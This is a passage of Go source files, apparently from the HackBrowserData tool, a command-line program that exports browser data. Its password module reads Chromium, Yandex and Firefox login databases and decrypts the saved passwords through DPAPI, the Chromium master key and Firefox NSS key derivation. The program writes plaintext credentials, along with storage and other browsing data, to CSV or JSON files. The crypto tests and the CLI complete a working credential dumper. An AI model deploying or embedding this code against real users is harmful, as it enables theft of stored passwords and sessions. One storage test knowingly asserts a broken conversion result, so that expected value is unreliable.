if err = rows.Scan(&originKey, &key, &value); err != nil {
log.Debugf("scan firefox local storage error: %v", err)
}
s := new(storage)
s.fillFirefox(originKey, key, value)
*f = append(*f, *s)
}
return nil
}
func (s *storage) fillFirefox(originKey, key, value string) {
// originKey = moc.buhtig.:https:443
p := strings.Split(originKey, ":")
h := typeutil.Reverse([]byte(p[0]))
if bytes.HasPrefix(h, []byte(".")) {
h = h[1:]
}
if len(p) == 3 {
s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
}
s.Key = key
s.Value = value
}
func (f *FirefoxLocalStorage) Name() string {
return "localStorage"
}
func (f *FirefoxLocalStorage) Len() int {
return len(*f)
}
================================================
FILE: browserdata/localstorage/localstorage_test.go
================================================
package localstorage
import (
"testing"
"github.com/stretchr/testify/assert"
"golang.org/x/text/encoding/unicode"
)
var testCases = []struct {
in []byte
wanted []byte
actual []byte
}{
{
in: []byte{0x0, 0x7b, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x68, 0x0, 0x74, 0x0, 0x74, 0x0, 0x70, 0x0, 0x73, 0x0, 0x3a, 0x0, 0x2f, 0x0, 0x2f, 0x0, 0x77, 0x0, 0x77, 0x0, 0x77, 0x0, 0x2e, 0x0, 0x76, 0x0, 0x6f, 0x0, 0x6c, 0x0, 0x63, 0x0, 0x65, 0x0, 0x6e, 0x0, 0x67, 0x0, 0x69, 0x0, 0x6e, 0x0, 0x65, 0x0, 0x2e, 0x0, 0x63, 0x0, 0x6f, 0x0, 0x6d, 0x0, 0x2f, 0x0, 0x70, 0x0, 0x72, 0x0, 0x6f, 0x0, 0x64, 0x0, 0x75, 0x0, 0x63, 0x0, 0x74, 0x0, 0x73, 0x0, 0x2f, 0x0, 0x66, 0x0, 0x65, 0x0, 0x69, 0x0, 0x6c, 0x0, 0x69, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x74, 0x0, 0x69, 0x0, 0x74, 0x0, 0x6c, 0x0, 0x65, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0xde, 0x98, 0xde, 0x8f, 0x2d, 0x0, 0x6b, 0x70, 0x71, 0x5c, 0x15, 0x5f, 0xce, 0x64, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6d, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x75, 0x0, 0x61, 0x0, 0x6c, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x22, 0x0, 0x7d, 0x0},
wanted: []byte(`{"refer_key":"https://www.volcengine.com/product/feilian","refer_title":"飞连_SSO单点登录_VPN_终端安全合规_便捷Wifi认证-火山引擎","refer_manual_key":""}`),
actual: []byte{0x7b, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x6f, 0x6c, 0x63, 0x65, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x66, 0x65, 0x69, 0x6c, 0x69, 0x61, 0x6e, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3a, 0x22, 0xc3, 0x9e, 0xe9, 0xa3, 0x9e, 0xe8, 0xbc, 0xad, 0x6b, 0xe7, 0x81, 0xb1, 0xe5, 0xb0, 0x95, 0xe5, 0xbf, 0x8e, 0xe6, 0x90, 0xa2, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6d, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x22, 0x7d, 0xef, 0xbf, 0xbd},
},
}
func TestLocalStorageKeyToUTF8(t *testing.T) {
t.Parallel()
for _, tc := range testCases {
actual, err := convertUTF16toUTF8(tc.in, unicode.BigEndian)
if err != nil {
t.Error(err)
}
// TODO: fix this, value from local storage if contains chinese characters, need convert utf16 to utf8
// but now, it can't convert, so just skip it.
assert.Equal(t, tc.actual, actual, "chinese characters can't actual convert")
}
}
================================================
FILE: browserdata/outputter.go
================================================
package browserdata
import (
"encoding/csv"
"encoding/json"
"errors"
"io"
"os"
"path/filepath"
"github.com/gocarina/gocsv"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
)
type outPutter struct {
json bool
csv bool
}
func newOutPutter(flag string) *outPutter {
o := &outPutter{}
if flag == "json" {
o.json = true
} else {
o.csv = true
}
return o
}
func (o *outPutter) Write(data extractor.Extractor, writer io.Writer) error {
switch o.json {
case true:
encoder := json.NewEncoder(writer)
encoder.SetIndent("", " ")
encoder.SetEscapeHTML(false)
return encoder.Encode(data)
default:
gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter {
writer := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder()))
writer.Comma = ','
return gocsv.NewSafeCSVWriter(writer)
})
return gocsv.Marshal(data, writer)
}
}
func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
if filename == "" {
return nil, errors.New("empty filename")
}
if dir != "" {
if _, err := os.Stat(dir); os.IsNotExist(err) {
err := os.MkdirAll(dir, 0o750)
if err != nil {
return nil, err
}
}
}
var file *os.File
var err error
p := filepath.Join(dir, filename)
file, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return nil, err
}
return file, nil
}
func (o *outPutter) Ext() string {
if o.json {
return "json"
}
return "csv"
}
================================================
FILE: browserdata/outputter_test.go
================================================
package browserdata
import (
"os"
"testing"
)
func TestNewOutPutter(t *testing.T) {
t.Parallel()
out := newOutPutter("json")
if out == nil {
t.Error("New() returned nil")
}
f, err := out.CreateFile("results", "test.json")
if err != nil {
t.Error("CreateFile() returned an error", err)
}
defer os.RemoveAll("results")
err = out.Write(nil, f)
if err != nil {
t.Error("Write() returned an error", err)
}
}
================================================
FILE: browserdata/password/password.go
================================================
package password
import (
"database/sql"
"encoding/base64"
"os"
"sort"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumPassword, func() extractor.Extractor {
return new(ChromiumPassword)
})
extractor.RegisterExtractor(types.YandexPassword, func() extractor.Extractor {
return new(YandexPassword)
})
extractor.RegisterExtractor(types.FirefoxPassword, func() extractor.Extractor {
return new(FirefoxPassword)
})
}
type ChromiumPassword []loginData
type loginData struct {
UserName string
encryptPass []byte
encryptUser []byte
Password string
LoginURL string
CreateDate time.Time
}
const (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)
func (c *ChromiumPassword) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumPassword.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumPassword.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumLogin)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, username string
pwd, password []byte
create int64
)
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
log.Debugf("scan chromium password error: %v", err)
}
login := loginData{
UserName: username,
encryptPass: pwd,
LoginURL: url,
}
if len(pwd) > 0 {
password, err = crypto.DecryptWithDPAPI(pwd)
if err != nil {
password, err = crypto.DecryptWithChromium(masterKey, pwd)
if err != nil {
log.Debugf("decrypt chromium password error: %v", err)
}
}
}
if create > time.Now().Unix() {
login.CreateDate = typeutil.TimeEpoch(create)
} else {
login.CreateDate = typeutil.TimeStamp(create)
}
login.Password = string(password)
*c = append(*c, login)
}
// sort with create date
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *ChromiumPassword) Name() string {
return "password"
}
func (c *ChromiumPassword) Len() int {
return len(*c)
}
type YandexPassword []loginData
const (
queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
)
func (c *YandexPassword) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.YandexPassword.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.YandexPassword.TempFilename())
defer db.Close()
rows, err := db.Query(queryYandexLogin)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, username string
pwd, password []byte
create int64
)
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
log.Debugf("scan yandex password error: %v", err)
}
login := loginData{
UserName: username,
encryptPass: pwd,
LoginURL: url,
}
if len(pwd) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DecryptWithDPAPI(pwd)
} else {
password, err = crypto.DecryptWithChromium(masterKey, pwd)
}
if err != nil {
log.Debugf("decrypt yandex password error: %v", err)
}
}
if create > time.Now().Unix() {
login.CreateDate = typeutil.TimeEpoch(create)
} else {
login.CreateDate = typeutil.TimeStamp(create)
}
login.Password = string(password)
*c = append(*c, login)
}
// sort with create date
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *YandexPassword) Name() string {
return "password"
}
func (c *YandexPassword) Len() int {
return len(*c)
}
type FirefoxPassword []loginData
func (f *FirefoxPassword) Extract(globalSalt []byte) error {
logins, err := getFirefoxLoginData()
if err != nil {
return err
}
for _, v := range logins {
userPBE, err := crypto.NewASN1PBE(v.encryptUser)
if err != nil {
return err
}
pwdPBE, err := crypto.NewASN1PBE(v.encryptPass)
if err != nil {
return err
}
user, err := userPBE.Decrypt(globalSalt)
if err != nil {
return err
}
pwd, err := pwdPBE.Decrypt(globalSalt)
if err != nil {
return err
}
*f = append(*f, loginData{
LoginURL: v.LoginURL,
UserName: string(user),
Password: string(pwd),
CreateDate: v.CreateDate,
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
})
return nil
}
func getFirefoxLoginData() ([]loginData, error) {
s, err := os.ReadFile(types.FirefoxPassword.TempFilename())
if err != nil {
return nil, err
}
defer os.Remove(types.FirefoxPassword.TempFilename())
loginsJSON := gjson.GetBytes(s, "logins")
var logins []loginData
if loginsJSON.Exists() {
for _, v := range loginsJSON.Array() {
var (
m loginData
user []byte
pass []byte
)
// Use formSubmitURL if available, otherwise fallback to hostname
m.LoginURL = v.Get("formSubmitURL").String()
if m.LoginURL == "" {
m.LoginURL = v.Get("hostname").String()
}
user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
m.encryptUser = user
m.encryptPass = pass
m.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
logins = append(logins, m)
}
}
return logins, nil
}
func (f *FirefoxPassword) Name() string {
return "password"
}
func (f *FirefoxPassword) Len() int {
return len(*f)
}
================================================
FILE: browserdata/sessionstorage/sessionstorage.go
================================================
package sessionstorage
import (
"bytes"
"database/sql"
"fmt"
"os"
"strings"
"github.com/syndtr/goleveldb/leveldb"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/byteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumSessionStorage, func() extractor.Extractor {
return new(ChromiumSessionStorage)
})
extractor.RegisterExtractor(types.FirefoxSessionStorage, func() extractor.Extractor {
return new(FirefoxSessionStorage)
})
}
type ChromiumSessionStorage []session
type session struct {
IsMeta bool
URL string
Key string
Value string
}
const maxLocalStorageValueLength = 1024 * 2
func (c *ChromiumSessionStorage) Extract(_ []byte) error {
db, err := leveldb.OpenFile(types.ChromiumSessionStorage.TempFilename(), nil)
if err != nil {
return err
}
defer os.RemoveAll(types.ChromiumSessionStorage.TempFilename())
defer db.Close()
iter := db.NewIterator(nil, nil)
for iter.Next() {
key := iter.Key()
value := iter.Value()
s := new(session)
s.fillKey(key)
// don't all value upper than 2KB
if len(value) < maxLocalStorageValueLength {
s.fillValue(value)
} else {
s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
}
if s.IsMeta {
s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
}
*c = append(*c, *s)
}
iter.Release()
err = iter.Error()
return err
}
func (c *ChromiumSessionStorage) Name() string {
return "sessionStorage"
}
func (c *ChromiumSessionStorage) Len() int {
return len(*c)
}
func (s *session) fillKey(b []byte) {
keys := bytes.Split(b, []byte("-"))
if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
s.IsMeta = true
s.fillMetaHeader(keys[0])
}
if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
s.fillHeader(keys[0], keys[1])
}
if len(keys) == 3 {
if string(keys[0]) == "map" {
s.Key = string(keys[2])
} else if string(keys[0]) == "namespace" {
s.URL = string(keys[2])
s.Key = string(keys[1])
}
}
}
func (s *session) fillMetaHeader(b []byte) {
s.URL = string(bytes.Trim(b, "META:"))
}
func (s *session) fillHeader(url, key []byte) {
s.URL = string(bytes.Trim(url, "_"))
s.Key = string(bytes.Trim(key, "\x01"))
}
func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
return r, err
}
// fillValue fills value of the storage
// TODO: support unicode charter
func (s *session) fillValue(b []byte) {
value := bytes.Map(byteutil.OnSplitUTF8Func, b)
s.Value = string(value)
}
type FirefoxSessionStorage []session
const (
querySessionStorage = `SELECT originKey, key, value FROM webappsstore2`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxSessionStorage) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxSessionStorage.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxSessionStorage.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
log.Debugf("close journal mode error: %v", err)
}
rows, err := db.Query(querySessionStorage)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var originKey, key, value string
if err = rows.Scan(&originKey, &key, &value); err != nil {
log.Debugf("scan session storage error: %v", err)
}
s := new(session)
s.fillFirefox(originKey, key, value)
*f = append(*f, *s)
}
return nil
}
func (s *session) fillFirefox(originKey, key, value string) {
// originKey = moc.buhtig.:https:443
p := strings.Split(originKey, ":")
h := typeutil.Reverse([]byte(p[0]))
if bytes.HasPrefix(h, []byte(".")) {
h = h[1:]
}
if len(p) == 3 {
s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
}
s.Key = key
s.Value = value
}
func (f *FirefoxSessionStorage) Name() string {
return "sessionStorage"
}
func (f *FirefoxSessionStorage) Len() int {
return len(*f)
}
================================================
FILE: cmd/hack-browser-data/main.go
================================================
package main
import (
"os"
"github.com/urfave/cli/v2"
"github.com/moond4rk/hackbrowserdata/browser"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
var (
browserName string
outputDir string
outputFormat string
verbose bool
compress bool
profilePath string
isFullExport bool
)
func main() {
Execute()
}
func Execute() {
app := &cli.App{
Name: "hack-browser-data",
Usage: "Export passwords|bookmarks|cookies|history|credit cards|download history|localStorage|extensions from browser",
UsageText: "[hack-browser-data -b chrome -f json --dir results --zip]\nExport all browsing data (passwords/cookies/history/bookmarks) from browser\nGithub Link: https://github.com/moonD4rk/HackBrowserData",
Version: "0.5.0",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"zip"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + browser.Names()},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &outputDir, Value: "results", Usage: "export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "output format: csv|json"},
&cli.StringFlag{Name: "profile-path", Aliases: []string{"p"}, Destination: &profilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
&cli.BoolFlag{Name: "full-export", Aliases: []string{"full"}, Destination: &isFullExport, Value: true, Usage: "is export full browsing data"},
},
HideHelpCommand: true,
Action: func(c *cli.Context) error {
if verbose {
log.SetVerbose()
}
browsers, err := browser.PickBrowsers(browserName, profilePath)
if err != nil {
log.Errorf("pick browsers %v", err)
return err
}
for _, b := range browsers {
data, err := b.BrowsingData(isFullExport)
if err != nil {
log.Errorf("get browsing data error %v", err)
continue
}
data.Output(outputDir, b.Name(), outputFormat)
}
if compress {
if err = fileutil.CompressDir(outputDir); err != nil {
log.Errorf("compress error %v", err)
}
log.Debug("compress success")
}
return nil
},
}
err := app.Run(os.Args)
if err != nil {
log.Fatalf("run app error %v", err)
}
}
================================================
FILE: crypto/asn1pbe.go
================================================
package crypto
import (
"crypto/hmac"
"crypto/sha1"
"crypto/sha256"
"encoding/asn1"
"errors"
)
type ASN1PBE interface {
Decrypt(globalSalt []byte) ([]byte, error)
Encrypt(globalSalt, plaintext []byte) ([]byte, error)
}
func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
var (
nss nssPBE
meta metaPBE
login loginPBE
)
if _, err := asn1.Unmarshal(b, &nss); err == nil {
return nss, nil
}
if _, err := asn1.Unmarshal(b, &meta); err == nil {
return meta, nil
}
if _, err := asn1.Unmarshal(b, &login); err == nil {
return login, nil
}
return nil, ErrDecodeASN1Failed
}
var ErrDecodeASN1Failed = errors.New("decode ASN1 data failed")
// nssPBE Struct
//
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// SEQUENCE (2 elem)
// OCTET STRING (20 byte)
// INTEGER 1
// OCTET STRING (16 byte)
type nssPBE struct {
AlgoAttr struct {
asn1.ObjectIdentifier
SaltAttr struct {
EntrySalt []byte
Len int
}
}
Encrypted []byte
}
// Decrypt decrypts the encrypted password with the global salt.
func (n nssPBE) Decrypt(globalSalt []byte) ([]byte, error) {
key, iv := n.deriveKeyAndIV(globalSalt)
return DES3Decrypt(key, iv, n.Encrypted)
}
func (n nssPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
key, iv := n.deriveKeyAndIV(globalSalt)
return DES3Encrypt(key, iv, plaintext)
}
// deriveKeyAndIV derives the key and initialization vector (IV)
// from the global salt and entry salt.
func (n nssPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
salt := n.AlgoAttr.SaltAttr.EntrySalt
hashPrefix := sha1.Sum(globalSalt)
compositeHash := sha1.Sum(append(hashPrefix[:], salt...))
paddedEntrySalt := paddingZero(salt, 20)
hmacProcessor := hmac.New(sha1.New, compositeHash[:])
hmacProcessor.Write(paddedEntrySalt)
paddedEntrySalt = append(paddedEntrySalt, salt...)
keyComponent1 := hmac.New(sha1.New, compositeHash[:])
keyComponent1.Write(paddedEntrySalt)
hmacWithSalt := append(hmacProcessor.Sum(nil), salt...)
keyComponent2 := hmac.New(sha1.New, compositeHash[:])
keyComponent2.Write(hmacWithSalt)
key := append(keyComponent1.Sum(nil), keyComponent2.Sum(nil)...)
iv := key[len(key)-8:]
return key[:24], iv
}
// MetaPBE Struct
//
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// SEQUENCE (2 elem)
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// SEQUENCE (4 elem)
// OCTET STRING (32 byte)
// INTEGER 1
// INTEGER 32
// SEQUENCE (1 elem)
// OBJECT IDENTIFIER
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// OCTET STRING (14 byte)
// OCTET STRING (16 byte)
type metaPBE struct {
AlgoAttr algoAttr
Encrypted []byte
}
type algoAttr struct {
asn1.ObjectIdentifier
Data struct {
Data struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}
IVData ivAttr
}
}
type ivAttr struct {
asn1.ObjectIdentifier
IV []byte
}
type slatAttr struct {
EntrySalt []byte
IterationCount int
KeySize int
Algorithm struct {
asn1.ObjectIdentifier
}
}
func (m metaPBE) Decrypt(globalSalt []byte) ([]byte, error) {
key, iv := m.deriveKeyAndIV(globalSalt)
return AES128CBCDecrypt(key, iv, m.Encrypted)
}
func (m metaPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
key, iv := m.deriveKeyAndIV(globalSalt)
return AES128CBCEncrypt(key, iv, plaintext)
}
func (m metaPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
password := sha1.Sum(globalSalt)
salt := m.AlgoAttr.Data.Data.SlatAttr.EntrySalt
iter := m.AlgoAttr.Data.Data.SlatAttr.IterationCount
keyLen := m.AlgoAttr.Data.Data.SlatAttr.KeySize
key := PBKDF2Key(password[:], salt, iter, keyLen, sha256.New)
iv := append([]byte{4, 14}, m.AlgoAttr.Data.IVData.IV...)
return key, iv
}
// loginPBE Struct
//
// OCTET STRING (16 byte)
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// OCTET STRING (8 byte)
// OCTET STRING (16 byte)
type loginPBE struct {
CipherText []byte
Data struct {
asn1.ObjectIdentifier
IV []byte
}
Encrypted []byte
}
func (l loginPBE) Decrypt(globalSalt []byte) ([]byte, error) {
key, iv := l.deriveKeyAndIV(globalSalt)
// The encryption algorithm can be reliably inferred from IV length:
// - 8 bytes : 3DES-CBC (legacy Firefox versions)
// - 16 bytes : AES-CBC (Firefox 144+)
if len(iv) == 8 {
// Use 3DES for old Firefox versions
return DES3Decrypt(key[:24], iv, l.Encrypted)
} else if len(iv) == 16 {
// Firefox 144+ uses 32-byte keys (AES-256-CBC)
// Note: AES128CBCDecrypt is a misnomer - it actually supports all AES key lengths
return AES128CBCDecrypt(key, iv, l.Encrypted)
}
return nil, errors.New("unsupported IV length for loginPBE decryption")
}
func (l loginPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
key, iv := l.deriveKeyAndIV(globalSalt)
// The encryption algorithm can be reliably inferred from IV length:
// - 8 bytes : 3DES-CBC (legacy Firefox versions)
// - 16 bytes : AES-CBC (Firefox 144+)
// This avoids relying on NSS-specific OIDs, which have changed historically.
if len(iv) == 8 {
// Use 3DES for old Firefox versions
return DES3Encrypt(key[:24], iv, plaintext)
} else if len(iv) == 16 {
// Firefox 144+ uses 32-byte keys (AES-256-CBC)
// Note: AES128CBCDecrypt is a misnomer - it actually supports all AES key lengths
return AES128CBCEncrypt(key, iv, plaintext)
}
return nil, errors.New("unsupported IV length for loginPBE encryption")
}
func (l loginPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
return globalSalt, l.Data.IV
}
================================================
FILE: crypto/asn1pbe_test.go
================================================
package crypto
import (
"bytes"
"encoding/asn1"
"encoding/hex"
"testing"
"github.com/stretchr/testify/assert"
)
var (
pbeIV = []byte("01234567") // 8 bytes
pbePlaintext = []byte("Hello, World!")
pbeCipherText = []byte{0xf8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1}
objWithMD5AndDESCBC = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 3}
objWithSHA256AndAES = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 1, 46}
objWithSHA1AndAES = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 13}
nssPBETestCases = []struct {
RawHexPBE string
GlobalSalt []byte
Encrypted []byte
IterationCount int
Len int
Plaintext []byte
ObjectIdentifier asn1.ObjectIdentifier
}{
{
RawHexPBE: "303e302a06092a864886f70d01050d301d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020114041095183a14c752e7b1d0aaa47f53e05097",
GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
Encrypted: []byte{0x95, 0x18, 0x3a, 0x14, 0xc7, 0x52, 0xe7, 0xb1, 0xd0, 0xaa, 0xa4, 0x7f, 0x53, 0xe0, 0x50, 0x97},
Plaintext: pbePlaintext,
IterationCount: 1,
Len: 32,
ObjectIdentifier: objWithSHA1AndAES,
},
}
metaPBETestCases = []struct {
RawHexPBE string
GlobalSalt []byte
Encrypted []byte
IV []byte
Plaintext []byte
ObjectIdentifier asn1.ObjectIdentifier
}{
{
RawHexPBE: "307a3066060960864801650304012e3059303a060960864801650304012e302d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020101020120300b060960864801650304012e301b060960864801650304012e040e303132333435363730313233343504100474679f2e6256518b7adb877beaa154",
GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
Encrypted: []byte{0x4, 0x74, 0x67, 0x9f, 0x2e, 0x62, 0x56, 0x51, 0x8b, 0x7a, 0xdb, 0x87, 0x7b, 0xea, 0xa1, 0x54},
IV: bytes.Repeat(pbeIV, 2)[:14],
Plaintext: pbePlaintext,
ObjectIdentifier: objWithSHA256AndAES,
},
}
loginPBETestCases = []struct {
RawHexPBE string
GlobalSalt []byte
Encrypted []byte
IV []byte
Plaintext []byte
ObjectIdentifier asn1.ObjectIdentifier
}{
{
RawHexPBE: "303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45",
Encrypted: []byte{0xfe, 0x96, 0x8b, 0x65, 0x65, 0x14, 0x91, 0x14, 0xea, 0x68, 0x8d, 0xef, 0xd6, 0x68, 0x3e, 0x45},
GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
IV: pbeIV,
Plaintext: pbePlaintext,
ObjectIdentifier: objWithMD5AndDESCBC,
},
}
)
func TestNewASN1PBE(t *testing.T) {
for _, tc := range nssPBETestCases {
nssRaw, err := hex.DecodeString(tc.RawHexPBE)
assert.Equal(t, nil, err)
pbe, err := NewASN1PBE(nssRaw)
assert.Equal(t, nil, err)
nssPBETC, ok := pbe.(nssPBE)
assert.Equal(t, true, ok)
assert.Equal(t, nssPBETC.Encrypted, tc.Encrypted)
assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.EntrySalt, tc.GlobalSalt)
assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.Len, 20)
assert.Equal(t, nssPBETC.AlgoAttr.ObjectIdentifier, tc.ObjectIdentifier)
}
}
func TestNssPBE_Encrypt(t *testing.T) {
for _, tc := range nssPBETestCases {
nssPBETC := nssPBE{
Encrypted: tc.Encrypted,
AlgoAttr: struct {
asn1.ObjectIdentifier
SaltAttr struct {
EntrySalt []byte
Len int
}
}{
ObjectIdentifier: tc.ObjectIdentifier,
SaltAttr: struct {
EntrySalt []byte
Len int
}{
EntrySalt: tc.GlobalSalt,
Len: 20,
},
},
}
encrypted, err := nssPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, nssPBETC.Encrypted, encrypted)
}
}
func TestNssPBE_Decrypt(t *testing.T) {
for _, tc := range nssPBETestCases {
nssPBETC := nssPBE{
Encrypted: tc.Encrypted,
AlgoAttr: struct {
asn1.ObjectIdentifier
SaltAttr struct {
EntrySalt []byte
Len int
}
}{
ObjectIdentifier: tc.ObjectIdentifier,
SaltAttr: struct {
EntrySalt []byte
Len int
}{
EntrySalt: tc.GlobalSalt,
Len: 20,
},
},
}
decrypted, err := nssPBETC.Decrypt(tc.GlobalSalt)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, pbePlaintext, decrypted)
}
}
func TestNewASN1PBE_MetaPBE(t *testing.T) {
for _, tc := range metaPBETestCases {
metaRaw, err := hex.DecodeString(tc.RawHexPBE)
assert.Equal(t, nil, err)
pbe, err := NewASN1PBE(metaRaw)
assert.Equal(t, nil, err)
metaPBETC, ok := pbe.(metaPBE)
assert.Equal(t, true, ok)
assert.Equal(t, metaPBETC.Encrypted, tc.Encrypted)
assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.IV, tc.IV)
assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.ObjectIdentifier, objWithSHA256AndAES)
}
}
func TestMetaPBE_Encrypt(t *testing.T) {
